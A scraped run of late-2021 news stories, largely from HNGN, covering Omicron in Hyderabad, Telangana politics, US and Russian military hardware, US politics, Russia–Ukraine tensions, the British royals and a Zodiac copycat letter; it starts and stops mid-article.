GHMC, and the health department descended on Paramount Hills Colony for taking up sanitizing the colony, and testing of all residents for Covid. Any Covid positive samples found in people from the colony will be sent for genome sequencing to determine if the Omicron variant spread to other residents from the two Omicron positive foreign nationals. The woman from Kenya arrived in Hyderabad after transiting through Abu Dhabi, and the Somali man came to the city via Sharjah. Meanwhile, the 7-year-old-boy who arrived with his family at the RGI Airport on his way to Kolkata, tested positive for Omicron and took a connecting flight to Kolkata the same night. Srinivasa Rao said the Bengal government had been informed about the family for follow up action. Police teams were formed to locate Sai Kiran and already one team from Siddipet has left for Punjab. (Photo: PTI/Representational) Hyderabad: A 21-year-old Indian Army Jawan from Siddipet district of Telangana went missing while on his way to join duty in Punjab's Faridkot following which police teams were formed to trace him. B Sai Kiran Reddy, a resident of Pothireddypally village in Cheriyal Mandal, who had come to his native place in November for vacation, was scheduled to rejoin his regiment in Faridkot on December 6, police said on Wednesday. On December 5, he took a flight to New Delhi from Hyderabad and upon reaching there he boarded a train to Faridkot but failed to reach his destination. The jawan was last seen (through CCTV footage) at Bathinda railway station on December 6, they said. Though, Sai Kiran had made a video call to his family twice from the Hyderabad airport, when his father tried calling him on December 6, he was not reachable, police said adding a Captain from Sai Kiran's unit also phoned his father and informed that his son did not report for duty. Subsequently, Sai Kiran's father lodged a complaint with the police who registered a Zero FIR and the case was transferred to Delhi Army police. Police teams were formed to locate Sai Kiran and already one team from Siddipet has left for Punjab. Meanwhile, Kiran's cell phone was traced to Haryana on December 6 afternoon, they said. Efforts are on to trace Sai Kiran. HYDERABAD: Telangana Pradesh Congress Committee (TPCC) president and MP A. Revanth Reddy expressed serious concern over the rising number of farmers' suicides across Telangana state. Blaming Chief Minister K. Chandrashekar Rao for the suicides, he said Rao was busy in his political and religious tours while leaving lakhs of farmers in deep distress. Revanth Reddy said lakhs of farmers in Telangana were in distress due to the negligent attitude of both the Telangana Rashtra Samiti (TRS) and the Bharatiya Janata Party (BJP) governments at the state and the Centre respectively. "Farmers are trapped in huge debts. They are unable to clear off their debts as the authorities are not buying their produce or not offering them MSP. They already exhausted all their resources to cultivate the last crop and they have no money to invest for the forthcoming crop. Finding no possible exit from the current financial crisis, many farmers have committed suicide while several others are on the verge of resorting to the extreme step," he feared. Relatives of farmers who committed suicide are being allegedly threatened by the local authorities and the police that they would not get any benefit under 'Rythu Bima' if they registered a case of suicide. Therefore, many suicides were being shown as death due to 'natural causes' and not farming, he alleged. Revanth Reddy said the families of farmers who committed suicide must get Rs 6 lakh compensation and other assistance as per the provisions of GO Ms No. 421. However, the TRS government stopped the implementation of GO Ms No 421 just to conceal the figures of farmers' suicide. He demanded that the state government give direction to all district collectors to extend the financial assistance to the farmers' families without further delay as per the GO Ms No. 421. Chandrashekar Raos proposed Federal Front was an idea floated by Prime Minister Narendra Modi and Home Minister Amit Shah to split anti-BJP votes, he said. The Federal Front, if constituted, will act as a tool to damage the Congress to divide the votes and benefit the BJP. He said all secular parties realised that Rao was an agent of Modi and nobody would ever trust him. However, he said, Rao, with the support of BJP's Godi media, might try to create hype about his front at the national level. Looking at the US Navy stealth destroyer, which costs $9 billion, seemed to be less impressive, according to a report. It's supposed to be an ultra-modern ship, but observers were less than impressed. Compared to other ships in the navy, it looked ill-prepared and equipped compared to its Arleigh-Burke cousins. When seen docking in San Diego last Thursday, only three of these low radar visibility ships had been built. US Navy Destroyer's images on social media The ship first entered service five years ago, noting the Drive, its homeport since it was put in San Diego bay. The pictures posted on WarshipCam show the vessel looking not pristine in the off-white paint, and rust saw on the ship's body and hull. Social media users were shocked to see how awful the ship looked without a flashy paint job on it. Several users expressed varying degrees of disappointment at what they saw. One said that not being at war means ships have to look good, like heading somewhere, but looking like a rust bucket is the opposite of impressing. Reason USS Zumwalt looks that way Sources say that the appearance of the destroyer comes after the fleet is not prepared for war. yo @cdrsalamander why does your boat look like a giant who was eating cheetos picked it up and then wiped their ass with it pic.twitter.com/JdzIp5e6Xg matthew. (@iAmTheWarax) December 10, 2021 According to two retired high rankings Navy officers, the ship is a victim of the current situation. The ship has a problem of leadership and culture, hints of probable wokeness creeping into military ranks cited the Wall Street Journal. The US navy later verified the US Navy stealth destroyer (DDG-1000) was due to arrive in the home port last December 9, 2021, and degaussing testing was done before that date. Read Also: China Accomplished Launch of Hypersonic Glide Vehicle Into Orbit While the US Develops the Technology, Challenges the Biden Administration USN statements say keeping vessels from corrosion and rust is a major activity done to preserve the hulls, reported the Sun UK. Operating ships in the sea take a toll due to the operating environment, and these ships are not immune to rust and corrosion. Navy sailors have to keep corrosion under control with the maintenance with crew training, keeping the vessel ready for action. A vessel like a stealth ship is costly with complicated maintenance. An attack submarine will take almost short of ten years to build, with $3.5billion by the time it's finished. The USN will take twenty years at $21 billion to improve its infrastructure, and the leadership needs to address problems like underdeveloped shipyards for the building and repair of ships. So little has been spent on an important element to keep ahead of adversaries. The USS Connecticut docked at the San Diego port, with the damaged section seen and prominent. In October, the attack Seawolf-class slammed into an underwater mountain in the South China Sea. Realizing the Zumwalt is very outclassed by Russian ships that have started a refit to load hypersonic weapons instead of guns. Due to change aspects faced by the US Navy stealth destroyer, there will be additions like stand-off and beyond visual range, weapons to be fitted by 2024. The USS Zumwalt has become less than helpful, needing upgrades even before being fully used, and looking like a rust bucket is the least of problems like getting shot out of the water. Related Article: US Navy Considers Rearming Stealth Destroyers With Hypersonic Missiles As Stakes Increase in the Indo-Pacific @ 2022 HNGN, All rights reserved. Do not reproduce without permission. Russia's S-500 Air Defense System is designed on the cutting edge to combat even 5th generation fighters like the F-35 and the F-22. Russian engineers developed this system to future-proof its defenses. Unlike US systems which are outstripped by the S-500 that will have India as its first customer once it goes on sale in arms markets. It has the capability of tracking targets at all altitudes and all speeds but is supposed to defend against hypersonic missiles too. This is why it's prized by nations like India with a border conflict in Ladakh's LAC. New armament for India soon? The TASS news of Russia stated that Delhi will be one of the first customers of the S-500 'Prometei', air-defense missile batteries that have caught the attention of major arms buyers. It was mentioned by the Russian Deputy Prime Minister Yury Borisov; who spoke to RBC TV last Monday about the possible purchase by its first buyer. Deputy PM Borisov mentioned that their forces will be the first to get the missile systems, but a list with India as the first in line. That is if they stake their interest in acquiring such advanced weaponry for the army. The answer followed after the press had asked what nation gets to have the first delivery of the high-tech radar and missile combo system. It is a successor 'Russia's S-500 Air Defense System' to the S-400 system that is in use with the Russian military. Read also: The UK and Kremlin: An Encounter with HMS Defender and Russian Forces in Crimean Sea Causes Row Mr. Borisov the vice PM added that a statement from the Stockholm International Peace Research Institute (SIPRI) said that Russian weapon producers have lost significant sales in the world arms market. He contests it and thinks the SIPRI is totally wrong, noted Al Jazeera. The details Furthermore, he added that the conclusions by SIPRI are not correct because certain factors are not taken into account by the think tank. Adding the data based on statistics that have long-term contracts which are not considered by SIPRI. These would be contracts that are long term and worth $50 billion; with an annual $13-15 billion that makes up Moscow's yearly exports made recently. Based on that information, the Deputy PM remarked that there were inaccuracies in the SIPRI data. The Russian arms industry is capable of producing new weapon systems available to buyers in the arms market abroad. Aerospace and defense development for next-generation hardware is what firms offer as a leader in this market. Prometei is one of these new armaments that will be given to units and other nations that are looking for good defense deals. There's a whole line of man-portable surface-to-air missiles (SAMS) and missile batteries like the S-400 multi-use launchers. All weapon systems sold abroad are used in military conflicts, and both sides are equal buyers of the missile system sold to customers. S-500 air defense system The Russian Ministry of Defense (MoD) declared a successful test of the defense system, hitting a moving target in the Kapustin Yar proving ground. It was verified that it was working well based on the tests. Russia's S-500 Air Defense System called Prometei is the next in line to supersede the S-400 'Triumf. The system has Washington worried and dissuades its allies to purchase it, but India might get it. Related article: Vladimir Putin Commands Russia's Invincible Hypersonic Nuclear Missile on Indefinite Standby @ 2022 HNGN, All rights reserved. Do not reproduce without permission. Kentucky residents are still dealing with the aftermath of the recent tornadoes that killed a handful of locals. According to reports, Joe Biden will visit Kentucky on Wednesday to survey the damages caused by the tornadoes. Joe Biden announces his trip to Kentucky In his statement, the POTUS promised to prioritize the needs of locals and those residing in nearby states that were also affected by the storms. Biden confirmed that he had contacted Kentucky Gov. Andy Beshear to make sure that their efforts wouldn't overlap. "We're gonna get this done. We're gonna be there as long as it takes to help. And the combination of state, federal, and volunteer organizations do everything from helping to clear the debris but provide the necessary means to move, get schools reopened, making sure that homes are going to be rebuilt, etc.," he said via CNN. According to the publication, Biden has been briefed on the storms. He also approved a major disaster declaration in Kentucky and vowed to sign an emergency request for Illinois at the governor's request. When asked what the POTUS is most worried about regarding the recovery efforts, he said that he's concerned about the locals' peace of mind. Biden said that he's worried about everyone's mental health, especially those who lost their loved ones, homes, or businesses. Read Also: American Officials Could Skip Beijing Olympics 2022 After Joe Biden Failed To Make Breakthroughs Over Human Rights Issues Almost 100 people across different states died After last weekend's storm, 64 people died, and 105 locals were unaccounted for. Beshear said that they initially thought there would be about 50 casualties in his statement. But within hours, the number reached 70, and it could even surpass 80. According to USA Today, at least six people were confirmed to have died in Illinois. Four deaths have already been confirmed in Tennessee, while Missouri and Arkansas each have two deaths. White House Press Secretary Jen Psaki confirmed that Biden would also communicate with the locals to ask firsthand their experiences during the storm. Kentucky Gov. Andy Beshear struggling According to Politico, the past couple of days has been hard for Beshear. The governor admitted that the tragedy had been weighing heavily on his shoulders. In his statement, Beshear thanked the Biden administration for their help. He also said that Kentucky is grateful to the administration for immediately approving its emergency disaster declaration. Senate Minority Leader Mitch McConnell praised Biden for his efforts to help deal with the crisis. Joe Biden helped Texas following a snowstorm Earlier this year, Biden's management and leadership skills were tested following the winter storms in Texas, Oklahoma, and other neighboring states. At the time, at least 59 deaths were reported. Biden released a similar statement saying that he would travel to Texas to survey the affected areas. And he also stressed that he doesn't want to get in the way of the recovery efforts in the state. According to NBC News, Biden's empathic response following the calamity proved that he didn't want to be likened to his predecessor, who was known for his insensitive remarks in times of need. Related Article: Joe Biden Calls Recent Calamity 'One of the Largest Tornado Outbreaks' in America, Promises To Provide Necessary Supplies to Affected Families @ 2022 HNGN, All rights reserved. Do not reproduce without permission. President Joe Biden's electoral triumph was purportedly overturned by a 38-page proposal that included declaring a nationwide national security emergency and invalidating all electronically cast votes. As part of the pile of materials he was forced to hand up in the House's continuing investigation, Mark Meadows presented a PowerPoint presentation on January 5 headed 'Election Fraud, Foreign Interference, and Options for 6 JAN' with the Capitol Hill committee. Mark Meadows hands over PowerPoint plan Autocrats thrive in emergency situations, states of emergency, which are frequently declared in the aftermath of a real or imagined crisis, give illiberal leaders expanded powers, allowing them to do things they already wanted to do - crackdown on the opposition, purge their parties, and parliaments or carry out coups to maintain their power. Former White House chief of staff Mark Meadows gave the presentation to the House committee investigating Trump on January 6, which retired Army Col. Phil Waldron forwarded to Trump's closest circle. It lays out possibilities for overturning the results of the 2020 election, such as declaring them illegitimate due to "foreign interference," MSNBC reported. The ensuing situation would not only cause Vice President Mike Pence to postpone the certification of Joe Biden's victory, but it would also provide an opening for extraordinary acts to disrupt the transfer of power and retain Trump in power. The aims of the riot on January 6 may have been missed. However, coups and the emergency regimes that follow them have a lengthy history in authoritarian history. From World War II until the year 2000, coups were responsible for 75% of democratic failures worldwide, and it's interesting to consider this coup attempt in that context. Coups across the world have been rationalized as "saving the nation" from corruption and tyranny, just as January 6 is promoted by Republicans as a patriotic move against Democratic deceit, "stop the steal." The repression of states of emergency, including arrests and assassinations of opposition figures, is portrayed in propaganda as essential to protect the people. Read Also: Joe Manchin Signals Major Changes To Win His Support on Joe Biden's Build Back Better Bill; Senator Sounds Inflation Alarm House committee recommends contempt charges against Meadows According to a senior Watergate prosecutor, Mark Meadows, Trump's former chief of staff, who is facing contempt charges for refusing to comply with a panel investigating the January 6 Capitol disturbance, might be exceedingly harmful to the former president. The House Select Committee on investigations, which comprises nine members, is looking into the January 6 hack of the US National Security Agency. On Monday, the House of Representatives voted overwhelmingly to recommend Meadows to the Department of Justice for criminal contempt of Congress charges. It occurred only days after the issuance of a devastating 51-page investigation that depicted the former GOP congressman as the central figure in the events of January 6 and laid out a compelling case for his testimony. Former Watergate prosecutor Jill Wine-Banks told Newsweek that while it's tough to say how much harm Meadows can do to Trump at this point, the specifics contained in the panel's findings, along with the pair's connection and closeness as the events of January 6 unfolded, might impact Trump. Meanwhile, White House Press Secretary Jen Psaki slammed Fox News presenters and unidentified GOP legislators who the January 6 committee exposed as sending desperate messages to former White House Chief of Staff Mark Meadows on January 6. The panel did not want to reveal its hand throughout the probe or allow possible witnesses to compare their testimonies, according to a source who spoke to DailyMail. Members of the committee have never ruled out summoning sitting members of Congress as witnesses, with several, such as Rep. Jim Jordan (R-Ohio) and Minority Leader Kevin McCarthy, openly admitting that they talked with Trump that day. Related Article: Mark Meadows January 5 Email Says National Guard Was on Standby To Protect "Trump People" @ 2022 HNGN, All rights reserved. Do not reproduce without permission. United States President Joe Biden is expected to continue the restart of federal student loan payments in February despite pressure from fellow Democrats who are urging for the extension of coronavirus pandemic relief benefits. On Friday, White House Press Secretary Jen Psaki was asked whether or not the administration was considering an extension of the student loan payment pause. The official said that Biden's administration was still assessing the impacts of the new Omicron coronavirus variant but noted that a smooth transition back into repayment was the Democrat's priority. Student Loan Repayment Psaki added that in the coming weeks, the Biden administration will release more details regarding their plans and will directly work with student loan borrowers. They plan to ensure that they have enough resources and are placed in the appropriate repayment plans they need and can sustain. For nearly two years, borrower balances have been effectively frozen, requiring no payments on the majority of federal student loans since March 2020. Since then, there has been no interest racking up and collections on defaulted debt have been put on hold, CNN reported. Psaki's announcement also included the end date of the student loan payment pause, which is expected to be on Jan. 31, 2022. She added that there were roughly 41 million borrowers who benefited from the extended student loan payment pause. However, Biden's decision would most likely receive widespread criticism from progressive members of Congress, leading advocacy groups, and various student loan borrowers after they have lobbied the Democratic leader to extend the pause beyond the initial Jan. 31, 2022 deadline. Read Also: Senate Democrats Raise Debt Limit by $2.5 Trillion, Avoid Delay of Elections Reform, Expansive Bill To Address Climate, Social Safety Net They argue that the restart of the student loan repayment will trigger massive financial devastation for millions of borrowers. Additionally, Senate Majority Leader Chuck Schumer and Sen. Elizabeth Warren argued that 89% of student loan borrowers felt they were financially unprepared to start paying their loans, Forbes reported. Severe Financial Detriment The officials also said nine million student loan borrowers, who were currently in default, will suffer severe financial detriment. Schumer and Warren have banded with other U.S. senators to pressure Biden into extending the student loan payment pause. Under Secretary of Education, James Kvaal, said that the announcement to restart the student loan repayments was a "major endeavor." The official noted they were working to help inform borrowers to help them become prepared for the restart of the payments in February. Currently, the Education Department is working to reach out to more than 30 million borrowers regarding the new information. Experts and officials are urging borrowers to make sure that their contact information is up to date ahead of the end of the pause's deadline. Between now and January, borrowers should also examine their current budgets and determine whether or not they have enough to pay for the loans. While Psaki announced the restart of the repayments on Feb. 1, 2022, not all loans will be required to be paid on the same day. Millions of borrowers will most likely receive a billing statement or notice at least 21 days, or three weeks, before their first payment is due, CBS News reported. Related Article: Senate Democrats Raise Debt Limit by $2.5 Trillion, Avoid Delay of Elections Reform, Expansive Bill To Address Climate, Social Safety Net @ 2022 HNGN, All rights reserved. Do not reproduce without permission. Germany recently warned Russia of "massive consequences" if Moscow continues its aggression on Ukraine after German Foreign Minister Annalena Baerbock spoke with her Russian counterpart Sergei Lavrov on Tuesday. The talk between the two officials is where Baerbock told Lavrov that the "territorial integrity of Ukraine must not be violated." In a Twitter post, the German Foreign Ministry announced the phone call between the two diplomats that brought the issue of the ongoing crisis on the Russian-Ukrainian border to the surface. Russia's Potential Invasion of Ukraine Russia has spent the last few weeks raising fears of its potential attempts to invade Ukraine by amassing forces on the border. Despite growing concerns among various international governments, Moscow has denied any plans to attack and instead accused Kyiv of being the aggressor. Amid the rising tensions, the United States federal government has threatened Russia with the "strongest-ever sanctions" if it decided to invade Ukraine. The German Foreign Ministry posted on Twitter that Baerbock sought an "honest and open exchange" with her Russian counterpart, urging Moscow to go back to peace with Ukraine, Deutsche Welle reported. The phone call between Baerbock and Lavrov is the first publicly announced contact between Germany and Moscow since last week when Chancellor Olaf Scholz's new coalition government took control of the country's government. The German foreign minister later said that Russia will suffer economic and diplomatic consequences if it conducted any form of intervention of Ukraine's sovereignty. Read Also: Senate Democrats Raise Debt Limit by $2.5 Trillion, Avoid Delay of Elections Reform, Expansive Bill To Address Climate, Social Safety Net Baerbock made her statements during a subsequent press conference in Stockholm where she met with the foreign ministers of Sweden and Norway. Additionally, the German official also urged for progress in the Normandy talks on resolving the Ukraine crisis. Baerbock said that visa-free travel for young Russian citizens was also considered as well as cooperation on hydrogen. Neither the German or Russian foreign minister commented on Moscow's Nord Stream 2 pipeline, which aims to carry Russia's natural gas to Germany, bypassing Ukraine. However, it has not been certified due to struggling with regulations, Reuters reported. Nord Stream 2 Pipeline Russia's Nord Stream 2 pipeline has received pushback from Poland and the United States who have demanded it to be stopped if Moscow invades Ukraine. Scholz's new government has not made a public commitment regarding the issue just yet. The international controversy comes as Ukraine claims that Russia has amassed roughly 100,000 troops near its border in preparation for a potential invasion. The situation has caused fears of possible open war between the neighbors in the region. Amid Russia's denial of the allegations, it accused the United States government of destabilizing behavior along with Ukraine. Moscow has sought security guarantees against NATO's eastward expansion. In a statement, the Russian Foreign Ministry's Lavrov echoed the demand in his phone call with Baerbock. Moscow's ministry said that they were prioritizing the need to provide itself with security guarantees in the form of "legal commitments not to expand NATO eastwards and not to move the bloc's military infrastructure to Russia's borders. The situation also comes after the United States assistant secretary of state Karen Donfried met with top Ukrainian officials to offer America's support, Yahoo News reported. Related Article: Jim Bob Duggar Nominated for Senate Seat Days After Son Josh Duggar Was Found Guilty of Receiving, Possessing Child Pornography @ 2022 HNGN, All rights reserved. Do not reproduce without permission. White House Press Secretary Jen Psaki was unable to answer when she was asked about President Joe Biden's successful foreign policy this year. It was the kind of inquiry that White House press secretaries fantasize about: a simple, undemanding request to characterize President Joe Biden's year's largest foreign policy success. It must have felt like a curveball after a humiliating withdrawal from Afghanistan, a military pact that separated vital partner France, and Russian forces massing on the Ukrainian border. This might explain Jen Psaki's inability to answer on Tuesday. Psaki struggles to determine Biden's successful foreign policy Critics pounced on the non-answer on social media, and the Republican National Committee released a video clip - a definite indicator of a briefing room mistake. Others retorted to Biden's own remarks, reminding out that the president had labeled the pullout from Afghanistan an "extraordinary success," as per Daily News. Foreign policy has dominated Biden's year, from the choice to leave Afghanistan to concerns that Russia is going to attack Ukraine. Earlier in the briefing, Psaki reacted with anger to queries about the aftermath of the Afghan pullout and the presence of Americans in the country. She claimed 479 US citizens and 450 lawful permanent residents had been assisted in leaving. Following that, Fox News's Peter Doocy wondered how it squared with prior claims of 100 to 200 individuals being left behind, before questioning if the president was still dedicated to getting people out. President Biden delivered statements on the conclusion of the war in Afghanistan on August 31. "100 to 200 Americans remain in Afghanistan with some plan to depart," Biden asserted at the time. "Most of those who remain are dual nationals, lifelong residents who had previously opted to stay because of their familial roots in Afghanistan," he added, Fox News reported. The gap between the number of stranded citizens indicated in August and the far greater number of those already evacuated, according to Psaki, is due to Americans in Afghanistan changing their minds after the country's first collapse. Read Also: Former Vice President Mike Pence's Cryptic Message Fuels 2024 Presidential Bid Rumors White House press secretary lashes out at a reporter According to a person familiar with the situation, prior estimates of US Americans remaining in Afghanistan increased because not everyone who was entitled to depart had registered with the embassy. Many people originally intended to stay due to family or profound cultural ties, but eventually altered their views. Meanwhile, Psaki described the disclosures of desperate text messages from major Fox News personalities and Republican politicians to Donald Trump's chief of staff during the attack on the US Capitol on January 6 as "disappointing" but "not surprising." Fox News hosts pleaded with Meadows to urge then-President Trump to call off his supporters, according to text messages reviewed by a House committee investigating the attack. Sean Hannity, Laura Ingraham, and Brian Kilmeade all sent messages. Meadows' unwillingness to testify on the 6 January insurgency is hindering the inquiry, and the committee has suggested that he be prosecuted for contempt of Congress. Per Independent, the committee agreed to send Meadows to the US Department of Justice on accusations of criminal contempt of Congress, and the entire House of Representatives will debate and vote on the motion on December 14. Related Article: Jen Psaki Dodges Question About Hunter Biden's Chinese Divestment; Says She Has Neither the Time Nor Interest in Laptop Authenticity @YouTube @ 2022 HNGN, All rights reserved. Do not reproduce without permission. Vladimir Putin threatened to place nuclear missiles on its borders after NATO and the US are still involving themselves in border tensions. The Kremlin warned the west is playing a dangerous game that might lead to the use of nukes. It is capable of a 5,000-kilometer striking range of several EU capitals; issuing it to Brussels especially. Back off NATO! Deployment of intermediate-range nuclear (INF) missiles is a threat issued by Moscow last Monday. The exploding borders of Russia and Ukraine are not letting up, reported the Express UK. Middle-range nuclear missiles were banned but in Washington in 2019 ended the START because of violations by Russians. But, Joe Biden's ill-advised foreign policy has brought nuclear Armageddon to a tipping point. A treaty signed by Ronald Reagan and Mikhail Gorbachev restricted its use way back in 1987. De-escalated the nuclear arms race between the only two superpowers then. Sergei Ryabkoc, Deputy Foreign minister said that the use of these arms is a possibility should NATO decide on using its own nukes, cited by Reuters. One warning is that the move to militarize the eastern part of Europe is a red line that will be disastrous if nuclear or a conventional conflict happens. Mr. Ryabkoc said it was the west using a Ukraine invasion as an excuse for its provocations. The official spoke to a government news agency and stated that crossing the red line will use banned weapons if the Western alliance does not dial down. If Vladimir Putin threatened to place nuclear missiles due to the NATO moves which are provocative. Read also: China Warns Biden To Stop Meddling in Taiwan Affairs To Avoid Consequences It also said that Moscow has no confidence NATO will play by the rules, hence the warnings. Point of no return US President Joe Biden called Vladimir Putin earlier and discussed his concerns. One of the Kremlin's demands is for him to reign in his allies in good faith. This teleconference took two hours on December 7 to diffuse the tense border standoff of the two powers. The US leader told Putin that they will not send troops but will use sanctions should Ukraine be rolled over its forces, noted the BBC. Another leader is UK Prime Minister Boris Johnson, he warned the Russian leader on call last Monday that taking over Ukraine by force will be met seriously. The UK is one of America's allies relying on its arm forces to interfere. To that effect, Downing Street's representative added the UK PM's commitment to Kiev is solid. Any military action will be a strategic error. Moscow's answer again is that build-up is for defensive purposes; the west is pushing a narrative to give its response validity. Military Chief of the Russian army Valery Gerasimov called the disinformation in western media how the capture of Ukraine is one of the Kremlin's goals. It's an all-out lie, he added. Russia's United Nation envoy remarked that invading Ukraine is not planned and won't happen, but only if the NATO or US forces the hand of Vladimir Putin that it will happen. Brussels agreed to place sanctions on organizations and official to keep them in check. One concern is the Wagner Group, the Kremlin's elite force, should be stopped from moving to Kiev via frozen assets and travel restrictions. The move of Vladimir Putin threatened placing nuclear missiles on the EU border is warning the Kremlin. Related article: Joe Biden Blindsides His EU Partners, Considers the Grievances of the Kremlin in Shocking Twist @ 2022 HNGN, All rights reserved. Do not reproduce without permission. Because of her lengthy reign, Queen Elizabeth II has a plethora of significant anniversaries to commemorate each year of her reign. However, not all of them are pleasant, as she remembers a fallen member of the Royal Family who aided her in becoming the Queen she is today. The Queen spends more time with her UK-bound family members in December, which is normally a busy month for her. She has developed a large Royal Family over the course of her 94 years, with four children, eight grandchildren, and 12 great-grandchildren. Along the road, the monarch has lost a few people, one of whom she will certainly remember today. Royal Family prepares for Sandringham escape George VI, her father, was born on December 14, 1895. Today marks the 126th anniversary of the birth of the man who bequeathed the throne to the present Queen. They reared a young Elizabeth II and Princess Margaret alongside Queen Elizabeth the Queen Mother. However, no commemorations for the day have been proclaimed by the Palace, as per Express.co. Following a struggle with cancer and lung surgery, the late King died suddenly in his sleep on February 6, 1952. The throne was promptly handed to the Queen upon his death, and she has reigned ever since. She has always celebrated this day instead of her father's birthday over the years. And her custom has something to do with the upcoming visit to Sandringham. She usually arrives in December for a two-month stay on the Norfolk estate. She will stay until February 6 after celebrating Christmas with her family. After the anniversary of her father's death and, by extension, her accession, the Queen departs. Per Fox News, one of the most trying years of Queen Elizabeth II's life has passed. Prince Philip, her 73-year-old husband, died in April, just shy of his 100th birthday. Even though her second son Prince Andrew has left the public eye due to his scandalous association with convicted sex offender Jeffrey Epstein, he is still facing legal issues. Prince Harry, her grandson, is said to have a troubled relationship with the British royal family although he and his wife, Meghan Markle, stood down as senior members. Then, in late October, the reigning queen, who is 95 years old, had a series of health setbacks, which made international headlines. She's been mostly restricted to Windsor Castle since then. During Christmas at Sandringham House in Norfolk, Queen Elizabeth is likely to be accompanied by her family. According to the source, she will stay there until the 73rd anniversary of her father's death on February 6, 2022. Kate Middleton reveals her Christmas gift for the Queen Meanwhile, Kate Middleton is said to have sent the Queen a jar of handmade chutney for her first Christmas at Sandringham in 2011. During an ITV program for the Queen's 90th birthday, Kate recounted the experience, The Sun reported. She ultimately decided to bring something homemade after much deliberation, creating a batch of chutney from her grandmother's recipe. Kate previously spoke about the touching incident in an ITV documentary for the Queen's 90th birthday, which also happened to be her first solo broadcast interview. Interviews with Prince Charles and the Duchess of Cornwall, Prince William, Prince Harry, Prince Andrew, and his daughters Princess Beatrice and Princess Eugenie are included in the two-hour documentary 'Our Queen At 90.' Kate Middleton reveals tiny Prince George's nickname for the Queen, Gan-Gan, in another clip from the program, which was broadcast last week. When Prince George and Princess Charlotte visit, she says the Queen "usually puts a small present or something" in their rooms. @YouTube @ 2022 HNGN, All rights reserved. Do not reproduce without permission. Former United States President Donald Trump suffered another loss after a federal judge on Tuesday dismissed his lawsuit that aimed to block Congress from gaining access to the Republican businessman's tax return records. The ruling states that the law gives a House committee chairman broad authority to request the former president's tax returns. Judge Trevor McFadden of the Federal District Court for the District of Columbia wrote in a 45-page opinion that the Treasury Department can give tax returns to the House Ways and Means Committee, which could then vote to publish the documents. Trump's Tax Returns However, Judge McFadden stayed his ruling for 14 days to allow former President Trump enough time to file an appeal, which he said was very likely of the Republican businessman. The top Democrat on the Ways and Means Committee, Rep. Richard E. Neal of Massachusetts, first requested copies of the former president's tax returns in early 2019. The chairman of the panel is given broad authority to request any person's tax returns under federal law. However, the Trump administration has refused to comply with the request, forcing the House to eventually file a lawsuit against the former president of the United States, the New York Times reported. Judge McFadden, despite being appointed by Trump, made his decision with the new administration causing the Justice Department to change its stance on the case. In a statement, Neal said that the judge's ruling was no surprise and said that the law was definitely supportive of the committee. Read Also: Senate Democrats Raise Debt Limit by $2.5 Trillion, Avoid Delay of Elections Reform, Expansive Bill To Address Climate, Social Safety Net Neal said that he was glad to say that the committee was now one step closer to conducting a more thorough investigation of the IRS's mandatory presidential audit program. McFadden's ruling suggested that former President Trump was "wrong on the law." The district judge's ruling also said that even the special solicitude accorded former Presidents was not able to change the result of the case. However, the opinion also warned Neal about bringing Trump's records public despite having the authority, CNN reported. Unprecedented Situation In the last 40 years, former President Trump was the first U.S. leader not to release his tax returns. The move is seen to be an effort to keep secret details of his wealth and the activities and dealings of his family's company, the Trump Organization. In 2019, the Ways and Means Committee filed a lawsuit to force disclosure of the former president's tax returns and lingers 11 months after Trump left office. Last month, Patrick Strawbridge, Trump's lawyer, told McFadden that the committee had no legitimate reason to see the tax returns and had asked for them in an attempt to politically tarnish the Republican businessman's reputation. However, House Democrats said they needed access to Trump's tax returns to see if the IRS was properly auditing presidential returns in general. Another reason that officials used was to assess whether or not new legislation was needed. McFadden, while saying that it was most likely not the right thing to make Trump's tax returns public, argued that the committee could accomplish its goals without publishing the documents, Yahoo News reported. Related Article: Jim Bob Duggar Nominated for Senate Seat Days After Son Josh Duggar Was Found Guilty of Receiving, Possessing Child Pornography @ 2022 HNGN, All rights reserved. Do not reproduce without permission. The Federal Bureau of Investigation (FBI) revealed that someone claiming to be a copycat of the "Zodiac Killer" sent Chinese letters to various news stations in Upstate New York, causing concerns within the agency. The agency's field office in Albany said that several TV stations in the Capital Region received letters that allegedly came from the infamous Zodiac Killer who was responsible for killing at least five people in Northern California in the late 1960s. FBI officials urged media outlets to be aware and be on the lookout for other letters. The agency has also told staff not to open the letters to preserve any potential DNA evidence from the suspect. Chinese Zodiac Killer While the bureau did not provide further details regarding the incident, they said that there were no threats to the Albany-area community. Additionally, the FBI did not identify the TV stations that received the letters from the apparent Chinese Zodiac Killer, Syracuse reported. The Zodiac Killer claimed to have killed 37 people throughout his crime spree and is considered to be the most famous unsolved murder case in the history of the United States. The case has also inspired various films and stories detailing the events of the crimes. Read Also: Germany Warns Russia of "Massive Consequences" if It Invades Ukraine Amid Rising International Tensions Authorities have identified five known victims that have been attributed to the Zodiac Killer from December 1968 to October 1969 in the San Francisco Bay Area. The suspect was known to have targeted young couples, where two of the men survived the attacks, while one lone male cab driver was among the victims. It was revealed that a portion of the letter wrote, "YOU Were WRONG I AM NOT DEAD OR IN THE HOSPITAL I AM ALIVE AND WELL AND IM GOING TO START KILLING AGAIN Below is the NAME AND LOCATION OF MY NEXT VICTIM But you had Better hurry because I'm going to kill her August 10th at 5 P.M. when the shifts change. ALBANY is A nice Town," People reported. The Killer's True Identity The Zodiac Killer was known for taunting media outlets by sending coded messages, threatening bombings and killings if the letters were not published. While the FBI has never confirmed the identity of the 1960s California serial killer, a group of former law enforcement officers believe they have determined the identity of the Zodiac Killer as Gary Francis Poste, who died in 2018. The suspect called himself the Zodiac Killer in a letter that was sent to the press on Aug. 7, 1969, which was his fourth coded message. Many amateur sleuths have tried to crack the code and determine the real identity of the killer in the years since his crimes. The Case Breakers, a group of about 40 independent investigators, identified Poste in October to be the suspected Zodiac Killer. They said that he gave away weapons and bullets before he died, which could finally reveal the true identity of the criminal. "When The Case Breakers approached officials about a new Zodiac suspect last spring, five police and state agencies would not cooperate," said the group in a statement last month, Daily Mail reported. Related Article: Congress Gains Access to Trump's Tax Records After Judge Denies Former President's Bid To Keep Documents Secret @ 2022 HNGN, All rights reserved. Do not reproduce without permission. A Chicago resident could receive a hefty sum from the state after being humiliated by a group of officers who mistook her address. According to reports, officers barged into Anjanette Young's home in 2019, thinking they were raiding the correct address. When Young told them that they were young, they refused to listen to her. Young was naked when the officers entered her house by force, and they didn't allow her to dress up for 16 seconds. An officer gave the woman something to cover herself with, but it kept falling off. It was only after 40 minutes after officers arrived that she was allowed to dress up. Young filed a lawsuit against the police officers and the state. The city council committee recommended that she be given the sum of $2.9 million for the humiliating and 